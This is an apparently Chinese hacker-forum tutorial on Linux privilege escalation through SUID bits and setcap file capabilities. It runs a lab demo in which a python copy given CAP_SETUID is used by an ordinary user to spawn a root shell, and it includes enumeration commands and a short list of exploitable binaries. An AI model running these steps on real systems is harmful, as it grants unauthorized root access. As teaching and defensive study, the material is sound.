setcap设置的文件可控造成的提权

setcap设置的文件可控造成的提权

hackersec已验证会员

黑客倉庫站長

管理成员
贡献: 3%
能力介绍
Linux中的功能是什么


在获得功能之前,我们只有特权和非特权进程的二进制系统,并且出于执行权限检查的目的,传统的UNIX实现将进程分为两类:特权进程(称为超级用户或根)和非特权进程(其有效UID为非零)。


功能是将内核用户或内核级程序的特权分成小块的那些权限,以便可以使进程有足够的能力执行特定的特权任务。


功能和SUID之间的区别


SUID: SUID代表设置的用户ID,并允许用户以文件所有者的身份执行文件。这被定义为授予用户临时权限,使其在文件所有者(而不是运行文件所有者)的权限下运行程序/文件。使用“查找”命令可以很容易地检测到。要查找在当前目录中设置了SUID的所有文件,我们可以使用-perm选项,该选项将仅打印许可权设置为4000的文件(允许进程临时使用root的权限执行)


给予某个文件拥有临时权限的命令
例子:

<span>chmod</span> u+s /usr/bin/python<br>

使用find命令可以找出SUID文件

find / -perm -u=s -type f <span>2</span>&gt;<span>/dev/</span><span>null</span><br>


setcap设置的文件可控造成的提权-1.png


setcap详解:setcap详解 - 农夫运维 - 博客园
setcap简要说明:

Capabilities的主要思想在于分割root用户的特权,即将root的特权分割成不同的能力,每种能力代表一定的特权操作。例如:能力<span>CAP_SYS_MODULE</span>表示用户能够加载(或卸载)内核模块的特权操作,而<span>CAP_SETUID</span>表示用户能够修改进程用户身份的特权操作。在Capbilities中系统将根据进程拥有的能力来进行特权操作的访问控制。<br>
getcap:检索setcap所设置的文件

getcap -r / <span>2</span>&gt;<span>/dev/</span><span>null</span><br>

setcap设置的文件可控造成的提权-2.png


OS:kali<br>测试用户:root、<span>test</span><br>

先用root用户给予python SUID

<span>chmod</span> u+s /usr/bin/python<br>

查找一波对应的SUID权限的文件,确定是否给予成功

find / -perm -u=s -type f <span>2</span>&gt;<span>/dev/</span><span>null</span><br>



setcap设置的文件可控造成的提权-3.png



复制python到/tmp目录下,拟态和文章类似的构造

<span>cp</span> /usr/bin/python<br>


setcap设置的文件可控造成的提权-4.png



setcap给予tmp目录下的python一个用户临时执行权限


<span>setcap</span> CAP_SETUID+ep /tmp/python<br>

setcap设置的文件可控造成的提权-5.png


切换至test用户,执行以下命令即可获取一个root权限


<span>getcap</span> -r / 2&gt;/dev/null <span>#查询被赋予权限的文件</span><br>


setcap设置的文件可控造成的提权-6.png

./python -c <span>'import os;os.setuid(0);os.system("/bin/bash")'</span><br>
  • 1


setcap设置的文件可控造成的提权-7.png



getcap -r / 2>/dev/null #查询被赋予CAP_SETUID权限的文件,来获取某些文件是否有利用的价值。目前得出可以利用用的几个

<span>perl</span><br>python<br>tar
 
后退
顶部